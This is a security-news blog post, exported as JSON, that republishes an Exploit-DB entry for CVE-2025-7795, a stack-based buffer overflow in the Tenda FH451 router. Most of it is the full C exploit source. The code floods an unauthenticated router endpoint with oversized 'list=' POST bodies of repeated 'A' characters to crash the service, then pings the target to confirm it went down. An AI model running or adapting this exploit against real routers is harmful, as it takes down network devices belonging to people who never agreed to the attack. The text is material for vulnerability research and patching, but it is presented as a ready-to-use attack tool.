{"id":8650,"date":"2025-07-22T05:51:15","date_gmt":"2025-07-22T05:51:15","guid":{"rendered":"http:\/\/localhost\/?p=8650"},"modified":"2025-07-22T05:51:15","modified_gmt":"2025-07-22T05:51:15","slug":"tenda-fh451-1009-router-stack-based-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=8650","title":{"rendered":"Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52374<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">9.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">AV:N\/AC:L\/Au:S\/C:C\/I:C\/A:C<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-7795<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n\/  * Title : Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow  * Author        : Byte Reaper  * Telegram      : @ByteReaper0  * CVE        &#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n\/*<br \/>\n<br \/> * Title : Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow<br \/>\n<br \/> * Author        : Byte Reaper<br \/>\n<br \/> * Telegram      : @ByteReaper0<br \/>\n<br \/> * CVE           : CVE-2025-7795<br \/>\n<br \/> * Vulnerability : Buffer Overflow<br \/>\n<br \/> * Description   :<br \/>\n<br \/> *   A buffer overflow vulnerability affecting certain Tenda routers,<br \/>\n<br \/> *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.<br \/>\n<br \/> *\/<\/p>\n<p>#include <stdio.h><br \/>\n<br \/>#include <string.h><br \/>\n<br \/>#include <unistd.h><br \/>\n<br \/>#include &#8220;argparse.h&#8221;<br \/>\n<br \/>#include <arpa\/inet.h><br \/>\n<br \/>#include <stdlib.h><br \/>\n<br \/>#include <curl\/curl.h><br \/>\n<br \/>#include <sys\/wait.h><\/p>\n<p>#define FULL_URL 2500<br \/>\n<br \/>#define POST_DATA 10000<\/p>\n<p>const char *targetUrl = NULL;<br \/>\n<br \/>const char *targetip = NULL;<br \/>\n<br \/>int selectIp  = 0;<br \/>\n<br \/>int selectUrl  = 0;<br \/>\n<br \/>int verbose = 0;<br \/>\n<br \/>int showOne = 0;<br \/>\n<br \/>char postData[POST_DATA];<\/p>\n<p>struct Mem<br \/>\n<br \/>{<br \/>\n<br \/>    char *buffer;<br \/>\n<br \/>    size_t len;<br \/>\n<br \/>};<\/p>\n<p>size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)<br \/>\n<br \/>{<br \/>\n<br \/>    size_t total = size * nmemb;<br \/>\n<br \/>    struct Mem *m = (struct Mem *)userdata;<br \/>\n<br \/>    char *tmp = realloc(m->buffer, m->len + total + 1);<br \/>\n<br \/>    if (!tmp) return 0;<br \/>\n<br \/>    m->buffer = tmp;<br \/>\n<br \/>    memcpy(&#038;(m->buffer[m->len]), ptr, total);<br \/>\n<br \/>    m->len += total;<br \/>\n<br \/>    m->buffer[m->len] = &#8216;\\0&#8217;;<br \/>\n<br \/>    return total;<br \/>\n<br \/>}<\/p>\n<p>void pingPacket()<br \/>\n<br \/>{<br \/>\n<br \/>    int pid = fork();<br \/>\n<br \/>    printf(&#8220;\\n============================================== [Ping] ==============================================\\n&#8221;);<br \/>\n<br \/>    if (pid < 0)\n<br \/>    {<br \/>\n<br \/>        perror(&#8220;\\e[1;31m[-] Fork Failed!\\e[0m&#8221;);<br \/>\n<br \/>        exit(1);<br \/>\n<br \/>    }<br \/>\n<br \/>    if (pid == 0)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;32m[+] Child Process (Ping) -> PID: %d\\e[0m\\n&#8221;,<br \/>\n<br \/>               getpid());<br \/>\n<br \/>        char *const argv[] = { &#8220;\/bin\/ping&#8221;,<br \/>\n<br \/>            &#8220;-c&#8221;,<br \/>\n<br \/>            &#8220;3&#8221;,<br \/>\n<br \/>            (char *)targetip,<br \/>\n<br \/>            NULL };<br \/>\n<br \/>            char *const envp[] = { NULL };<br \/>\n<br \/>            __asm__ volatile<br \/>\n<br \/>            (<br \/>\n<br \/>                &#8220;mov $59, %%rax\\n\\t&#8221;<br \/>\n<br \/>                &#8220;mov %[prog], %%rdi\\n\\t&#8221;<br \/>\n<br \/>                &#8220;mov %[argv], %%rsi\\n\\t&#8221;<br \/>\n<br \/>                &#8220;mov %[envp], %%rdx\\n\\t&#8221;<br \/>\n<br \/>                &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>                &#8220;mov $60, %%rax\\n\\t&#8221;<br \/>\n<br \/>                &#8220;xor %%rdi, %%rdi\\n\\t&#8221;<br \/>\n<br \/>                &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>                :<br \/>\n<br \/>                : [prog] &#8220;r&#8221; (argv[0]),<br \/>\n<br \/>             [argv] &#8220;r&#8221; (argv),<br \/>\n<br \/>             [envp] &#8220;r&#8221; (envp)<br \/>\n<br \/>             : &#8220;rax&#8221;, &#8220;rdi&#8221;, &#8220;rsi&#8221;, &#8220;rdx&#8221;<br \/>\n<br \/>            );<br \/>\n<br \/>    }<br \/>\n<br \/>    else<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;32m[+] Main PID : %d\\e[0m\\n&#8221;,<br \/>\n<br \/>               getpid());<br \/>\n<br \/>        int status;<br \/>\n<br \/>        waitpid(pid,<br \/>\n<br \/>                &#038;status,<br \/>\n<br \/>                0);<br \/>\n<br \/>        if (WIFEXITED(status))<br \/>\n<br \/>        {<br \/>\n<br \/>            int code = WEXITSTATUS(status);<br \/>\n<br \/>            printf(&#8220;\\e[1;33m[+] Ping exited with code: %d\\e[0m\\n&#8221;,<br \/>\n<br \/>                   code);<br \/>\n<br \/>            if (code == 0)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Successfully confirmed connection via ping!\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] The server is still working, please try again!\\n\\e[0m&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] The server is not responding to the ping request!\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\\e[0m\\n&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\n============================================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>}<\/p>\n<p>void sendRequest()<br \/>\n<br \/>{<br \/>\n<br \/>    CURL *c = curl_easy_init();<br \/>\n<br \/>    CURLcode res;<br \/>\n<br \/>    char full[FULL_URL];<br \/>\n<br \/>    struct Mem response = {NULL, 0};<br \/>\n<br \/>    if (!c) {<br \/>\n<br \/>        printf(&#8220;\\e[1;31m[-] Error Create Object Curl !\\e[0m\\n&#8221;);<br \/>\n<br \/>        exit(EXIT_FAILURE);<br \/>\n<br \/>    }<br \/>\n<br \/>    if (targetip) selectIp = 1;<br \/>\n<br \/>    if (targetUrl) selectUrl = 1;<br \/>\n<br \/>    if (selectIp)<br \/>\n<br \/>    {<br \/>\n<br \/>        snprintf(full,<br \/>\n<br \/>                 sizeof(full),<br \/>\n<br \/>                 &#8220;http:\/\/%s\/goform\/fromP2pListFilter&#8221;,<br \/>\n<br \/>                 targetip);<br \/>\n<br \/>    }<br \/>\n<br \/>    if (selectUrl)<br \/>\n<br \/>    {<br \/>\n<br \/>        snprintf(full,<br \/>\n<br \/>                 sizeof(full),<br \/>\n<br \/>                 &#8220;%s\/goform\/fromP2pListFilter&#8221;,<br \/>\n<br \/>                 targetUrl);<br \/>\n<br \/>    }<br \/>\n<br \/>    int rounds = 5;<br \/>\n<br \/>    int baseLen = 3500, step = 1000;<br \/>\n<br \/>    showOne = 1;<br \/>\n<br \/>    for (int i = 0; i < rounds; i++)\n<br \/>    {<br \/>\n<br \/>        int len = baseLen + i * step;<br \/>\n<br \/>        if (len + 6 >= sizeof(postData)) break;<br \/>\n<br \/>        snprintf(postData, sizeof(postData), &#8220;list=&#8221;);<br \/>\n<br \/>        memset(postData + 5, &#8216;A&#8217;, len);<br \/>\n<br \/>        postData[5 + len] = &#8216;\\0&#8217;;<br \/>\n<br \/>        printf(&#8220;\\e[1;34m[%d] Iteration %d &#8211; Length: %d\\e[0m\\n&#8221;,<br \/>\n<br \/>               i+1,<br \/>\n<br \/>               i+1,<br \/>\n<br \/>               len);<br \/>\n<br \/>        if (verbose)<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;\\e[1;35m\\n====================================================================[Post Data] ====================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;%s\\e[0m\\n\\n&#8221;, postData);<br \/>\n<br \/>            printf(&#8220;\\e[1;35m====================================================================[Post Data] ====================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>        }<\/p>\n<p>        curl_easy_reset(c);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_URL,<br \/>\n<br \/>                         full);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_ACCEPT_ENCODING,<br \/>\n<br \/>                         &#8220;&#8221;);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_FOLLOWLOCATION,<br \/>\n<br \/>                         1L);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_POST,<br \/>\n<br \/>                         1L);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_POSTFIELDS,<br \/>\n<br \/>                         postData);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_POSTFIELDSIZE,<br \/>\n<br \/>                         (long)strlen(postData));<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_WRITEFUNCTION,<br \/>\n<br \/>                         write_cb);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_WRITEDATA,<br \/>\n<br \/>                         &#038;response);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_CONNECTTIMEOUT,<br \/>\n<br \/>                         5L);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_TIMEOUT,<br \/>\n<br \/>                         10L);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_SSL_VERIFYPEER,<br \/>\n<br \/>                         0L);<br \/>\n<br \/>        curl_easy_setopt(c,<br \/>\n<br \/>                         CURLOPT_SSL_VERIFYHOST,<br \/>\n<br \/>                         0L);<br \/>\n<br \/>        struct curl_slist *h = NULL;<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Accept-Encoding: gzip, deflate, br&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Accept-Language: en-US,en;q=0.5&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Connection: keep-alive&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Referer: http:\/\/example.com&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Cache-Control: no-cache&#8221;);<br \/>\n<br \/>        h = curl_slist_append(h,<br \/>\n<br \/>                              &#8220;Pragma: no-cache&#8221;);<br \/>\n<br \/>        curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);<br \/>\n<br \/>        if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);<\/p>\n<p>        char *encode1 = curl_easy_escape(c, full, 0);<br \/>\n<br \/>        if (!encode1)<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;\\e[1;31m[-] URL encoding failed for payload\\e[0m\\n&#8221;);<br \/>\n<br \/>            exit(EXIT_FAILURE);<br \/>\n<br \/>        }<br \/>\n<br \/>        if (verbose &#038;&#038; showOne)<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;\\e[1;37m=========================================&#8221;);<br \/>\n<br \/>            if (selectUrl) printf(&#8220;\\e[1;37m[+] Input Url : %s\\e[0m\\n[+] Encode Url : %s\\e[0m\\n[+] full format Url : %s\\e[0m\\n&#8221;,<br \/>\n<br \/>                targetUrl,<br \/>\n<br \/>                encode1,<br \/>\n<br \/>                full);<br \/>\n<br \/>            if (selectIp) printf(&#8220;\\e[1;37m[+] Input Ip : %s\\e[0m\\n[+] full format Url : %s\\e[0m\\n&#8221;,<br \/>\n<br \/>                targetip,<br \/>\n<br \/>                full);<br \/>\n<br \/>            printf(&#8220;=========================================&#8221;);<br \/>\n<br \/>            showOne = 0;<br \/>\n<br \/>        }<br \/>\n<br \/>        res = curl_easy_perform(c);<br \/>\n<br \/>        curl_slist_free_all(h);<br \/>\n<br \/>        curl_free(encode1);<br \/>\n<br \/>        if (response.buffer)<br \/>\n<br \/>        {<br \/>\n<br \/>            free(response.buffer);<br \/>\n<br \/>            response.buffer = NULL;<br \/>\n<br \/>            response.len = 0;<br \/>\n<br \/>        }<br \/>\n<br \/>        if (res == CURLE_OK)<br \/>\n<br \/>        {<br \/>\n<br \/>            long httpCode = 0;<br \/>\n<br \/>            printf(&#8220;\\e[1;36m[+] Request sent successfully\\e[0m\\n&#8221;);<br \/>\n<br \/>            curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,<br \/>\n<br \/>                              &#038;httpCode);<br \/>\n<br \/>            printf(&#8220;\\e[1;32m[+] Http Code Response : %ld\\e[0m\\n&#8221;,<br \/>\n<br \/>                   httpCode);<br \/>\n<br \/>            if (httpCode >= 200 &#038;&#038; httpCode < 300)\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] The server was not affected, still working !\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;33m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Response Server &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;%s\\e[0m\\n&#8221;,<br \/>\n<br \/>                       response.buffer);<br \/>\n<br \/>                printf(&#8220;\\e[1;33m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\e[0m\\n&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;34m[+] Negative server response. I started trying to confirm the connection&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;[+] Run Command Ping For Check Connection : \\e[0m\\n&#8221;);<br \/>\n<br \/>                if (selectIp) pingPacket();<br \/>\n<br \/>                else printf(&#8220;[-] Error Run Command Ping for URl !\\e[0m\\n[-] Please Enter Target Ip for Check Connection !\\e[0m\\n&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>        }<br \/>\n<br \/>        else<br \/>\n<br \/>        {<br \/>\n<br \/>            printf(&#8220;[-] Error Send Request, Please Check Your Connection !\\e[0m\\n&#8221;);<br \/>\n<br \/>            printf(&#8220;[-] Error : %s\\n&#8221;, curl_easy_strerror(res));<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>    free(response.buffer);<br \/>\n<br \/>    curl_easy_cleanup(c);<br \/>\n<br \/>}<\/p>\n<p>int main(int argc,<br \/>\n<br \/>         const char **argv)<br \/>\n<br \/>{<br \/>\n<br \/>    printf(<br \/>\n<br \/>        &#8220;\\e[1;31m&#8221;<br \/>\n<br \/>        &#8220;\u2584\u2596\u2596\u2596\u2584\u2596  \u2584\u2596\u2584\u2596\u2584\u2596\u2584\u2596  \u2584\u2596\u2584\u2596\u2584\u2596\u2584\u2596 \\n&#8221;<br \/>\n<br \/>        &#8220;\u258c \u258c\u258c\u2599\u2596\u2584\u2596\u2584\u258c\u259b\u258c\u2584\u258c\u2599\u2596\u2584\u2596 \u258c \u258c\u2599\u258c\u2599\u2596 \\n&#8221;<br \/>\n<br \/>        &#8220;\u2599\u2596\u259a\u2598\u2599\u2596  \u2599\u2596\u2588\u258c\u2599\u2596\u2584\u258c   \u258c \u258c\u2584\u258c\u2584\u258c \\n&#8221;<br \/>\n<br \/>        &#8221;              \\e[1;37mByte Reaper\\e[0m\\n&#8221;<br \/>\n<br \/>    );<br \/>\n<br \/>    printf(&#8220;\\e[1;37m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\e[0m\\n&#8221;);<br \/>\n<br \/>    if (getuid() != 0)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;===================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;[-] Not running as root. Trying with sudo&#8230;\\e[0m\\n&#8221;);<\/p>\n<p>        char *args[] = {(char*)&#8221;sudo&#8221;,<br \/>\n<br \/>            (char*)&#8221;.\/exploit&#8221;,<br \/>\n<br \/>            NULL};<br \/>\n<br \/>            execvp(&#8220;sudo&#8221;, args);<\/p>\n<p>            perror(&#8220;[-] Error Run Exploit in Root !&#8221;);<br \/>\n<br \/>            __asm__ volatile<br \/>\n<br \/>            (<br \/>\n<br \/>                &#8220;mov $0x3C, %%rax\\n\\t&#8221;<br \/>\n<br \/>                &#8220;xor %%rdi, %%rdi\\n\\t&#8221;<br \/>\n<br \/>                &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>                :<br \/>\n<br \/>                :<br \/>\n<br \/>                : &#8220;rdi&#8221;<br \/>\n<br \/>            );<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\e[1;36m[+] Running as root! Exploit continues&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>    printf(&#8220;===================================================\\e[0m\\n&#8221;);<\/p>\n<p>    struct argparse_option options[] =<br \/>\n<br \/>    {<br \/>\n<br \/>        OPT_HELP(),<br \/>\n<br \/>        OPT_STRING(&#8216;i&#8217;,<br \/>\n<br \/>                  &#8220;ip&#8221;,<br \/>\n<br \/>                   &#038;targetip,<br \/>\n<br \/>                   &#8220;Enter Target IP&#8221;),<br \/>\n<br \/>        OPT_STRING(&#8216;u&#8217;,<br \/>\n<br \/>                    &#8220;url&#8221;,<br \/>\n<br \/>                    &#038;targetUrl,<br \/>\n<br \/>                    &#8220;Enter Target URL&#8221;),<br \/>\n<br \/>        OPT_BOOLEAN(&#8216;v&#8217;,<br \/>\n<br \/>                    &#8220;verbose&#8221;,<br \/>\n<br \/>                    &#038;verbose,<br \/>\n<br \/>                    &#8220;Verbose Mode&#8221;),<br \/>\n<br \/>        OPT_END(),<br \/>\n<br \/>    };<\/p>\n<p>    struct argparse argparse;<br \/>\n<br \/>    argparse_init(&#038;argparse,<br \/>\n<br \/>                  options,<br \/>\n<br \/>                  NULL,<br \/>\n<br \/>                  0);<br \/>\n<br \/>    argparse_parse(&#038;argparse,<br \/>\n<br \/>                   argc,<br \/>\n<br \/>                   argv);<\/p>\n<p>    if (!targetip &#038;&#038; !targetUrl)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;\\e[1;33m[-] Please Enter Target IP OR URl !\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;\\e[1;33m[!] Exemple : .\/exploit -u http:\/\/ROUTER_IP\\e[0m\\n&#8221;);<br \/>\n<br \/>        printf(&#8220;[+] OR \\n&#8221;);<br \/>\n<br \/>        printf(&#8220;\\e[1;33m[!] Exemple : .\/exploit -i ROUTER_IP\\e[0m\\n&#8221;);<br \/>\n<br \/>        __asm__ volatile(<br \/>\n<br \/>            &#8220;xor %%rdi, %%rdi\\n\\t&#8221;<br \/>\n<br \/>            &#8220;mov $0x3C, %%rax\\n\\t&#8221;<br \/>\n<br \/>            &#8220;1:\\n\\t&#8221;<br \/>\n<br \/>            &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>            :<br \/>\n<br \/>            :<br \/>\n<br \/>            : &#8220;rax&#8221;, &#8220;rdi&#8221;, &#8220;rsi&#8221;<br \/>\n<br \/>        );<br \/>\n<br \/>    }<br \/>\n<br \/>    if (targetip &#038;&#038; targetUrl)<br \/>\n<br \/>    {<br \/>\n<br \/>        printf(&#8220;[+] Please Enter Traget URL OR Traget Ip address, Exit&#8230;\\e[0m\\n&#8221;);<br \/>\n<br \/>        __asm__ volatile<br \/>\n<br \/>        (<br \/>\n<br \/>            &#8220;mov $0x3C, %%rax\\n\\t&#8221;<br \/>\n<br \/>            &#8220;xor %%rdi, %%rdi\\n\\t&#8221;<br \/>\n<br \/>            &#8220;syscall\\n\\t&#8221;<br \/>\n<br \/>            :<br \/>\n<br \/>            :<br \/>\n<br \/>            :&#8221;rdi&#8221;<br \/>\n<br \/>        );<br \/>\n<br \/>    }<br \/>\n<br \/>    if (selectIp)<br \/>\n<br \/>    {<br \/>\n<br \/>        sendRequest();<br \/>\n<br \/>    }<br \/>\n<br \/>    else<br \/>\n<br \/>    {<br \/>\n<br \/>        sendRequest();<br \/>\n<br \/>    }<\/p>\n<p>    return 0;<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52374\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow Exploit ID EDB-ID:52374 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,86,12,40,15,13,7,11,5],"class_list":["post-8650","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-90","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=8650\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow Exploit ID EDB-ID:52374 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=8650\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-22T05:51:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow\",\"datePublished\":\"2025-07-22T05:51:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650\"},\"wordCount\":1222,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-9.0\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=8650#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650\",\"name\":\"Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-07-22T05:51:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=8650\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=8650#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Tenda FH451 1.0.0.9 Router &#8211; Stack-based Buffer Overflow\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero 